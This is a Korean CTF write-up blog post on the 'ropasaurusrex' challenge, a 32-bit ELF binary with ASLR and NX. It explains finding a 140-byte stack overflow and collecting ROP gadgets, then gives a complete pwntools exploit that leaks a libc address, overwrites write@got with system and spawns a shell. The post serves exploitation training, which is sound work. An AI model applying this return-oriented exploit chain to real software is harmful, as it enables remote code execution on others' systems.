문제 바이너리 첨부
이 문제는 32bit elf다.
보호기법을 살펴보았다.
ASLR이 걸려있고 NX가 걸려있다.
우선 이 바이너리를 실행하면 아래와 같다.
단순히 입력하나 받고 WIN이라는 문자열을 출력하고 종료된다.
아마 입력하는 부분에서 오버플로가 일어날 것이다.
우선 gdb로 열어보았다.
근데 디버깅 심볼을 찾을 수 없어서 main함수가 열리지 않았다.
그래서 info func로 함수를 찾았다.
write와 read함수가 있다.
rop를 하면 될 것 같다.
write()함수와 read()함수에 bp를 걸고 트레이싱을 했다.
구조를 보니 먼저 read()함수를 실행하고 나중에 write()함수를 실행한다.
write@got를 rop를 통해 overwrite 해주면 될 것이다.
read()함수에 대해 입력 값으로 A 8개를 주었다.
그리고 read()함수를 빠져 나온 후 바로 leave 과정에서 bp를 걸고 멈추었다.
ret까지 0x8c차이가 난다. 즉 140바이트를 오버플로우 해주면 sfp까지 덮힌다는 것이다.
이제 가젯을 모으자.
read@plt,
read@got,
write@plt,
write@got,
bss주소,
system의 offset,
pop pop pop ret 가젯,
pop ret 가젯
을 찾았다.
bss 영역의 주소는 objdump, readelf를 사용하지 않고 peda의 elfheader명령을 통해 찾았고,
pop pop 가젯은 이번엔 rp++로 찾지 않고 peda의 내장 명령어인 ropgadget으로 찾았다.
exploit code
from pwn import *
p = process('./ropasaurusrex')
read_plt = 0x0804832c
read_got = 0x804961c
write_plt = 0x0804830c
write_got = 0x8049614
bss = 0x8049628
system_offset = 0x9ad60
pppr = 0x80484b6
pr = 0x80483c3
binsh = "/bin/sh\x00"
payload = "A"*140
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
payload += p32(write_plt)
payload += p32(pr)
payload += p32(bss)
log.info("Exploit..")
p.sendline(payload)
read_addr = u32(p.recv()[-4:])
log.info("read_addr = {}".format(hex(read_addr)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
p.sendline(binsh)
p.sendline(p32(system_addr))
p.interactive()
'CTF' 카테고리의 다른 글
| pico-ctf-2013 rop-4 (0) | 2018.07.17 |
|---|---|
| pico-ctf-2013 rop-3 (0) | 2018.07.14 |
| pico-ctf-2013 rop-2 (0) | 2018.07.14 |
| pico-ctf-2013 rop-1 (0) | 2018.07.14 |
| Defcon 2015 r0pbaby (0) | 2018.07.13 |
ropasaurusrex